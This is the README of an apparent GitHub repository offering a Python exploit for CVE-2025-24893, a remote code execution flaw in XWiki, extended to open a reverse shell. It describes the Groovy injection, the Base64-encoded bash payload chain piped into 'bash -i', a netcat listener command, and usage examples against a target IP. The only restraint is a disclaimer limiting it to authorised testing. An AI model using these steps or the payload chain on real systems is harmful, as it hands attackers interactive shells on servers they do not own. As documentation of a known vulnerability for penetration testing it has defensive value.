bishben/xwiki-15.10.8-reverse-shell-cve-2025-24893CVE-2025-24893 RCE exploit for XWiki with reverse shell capability
Disclaimer: This script is intended for educational purposes and authorized security testing only. Do not use on systems you do not own or have explicit permission to test. Misuse can be illegal and dangerous.
This Python script exploits CVE-2025-24893, a Remote Code Execution vulnerability affecting XWiki versions up to 15.10.10.
This version extends the original PoC by Al Baradi Joy to spawn a reverse shell. The original PoC can be found here.
XWiki executes Groovy code via the URL parameter.
The exploit injects a bash -c command into this Groovy template.
A normal reverse shell contains multiple quotes (' and ") that would and the URL.
To solve this, the script encodes the one-line shell command in Base64.
The payload is then sent in the URL and executed using the following chain:
{echo,<base64>} | {base64,-d} | {bash,-i}
This decodes the Base64 payload safely and executes it with bash -i, giving an interactive reverse shell.
http://<target-host>/ at the end/xwiki path (the script appends it automatically)Examples:
# Correct
http://10.129.95.114:8080
http://example.com:8080
# Incorrect
http://10.129.95.114:8080/ # trailing slash
http://example.com/xwiki # includes /xwiki
Before running the exploit, you must start a listener on your machine to catch the reverse shell.
Example using Netcat:
nc -lvnp <lport>
<lport> should match the port you provide as an argument to the script.python3 cve-2025-24893.py <target_base_url> <lhost> <lport>
Example:
python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444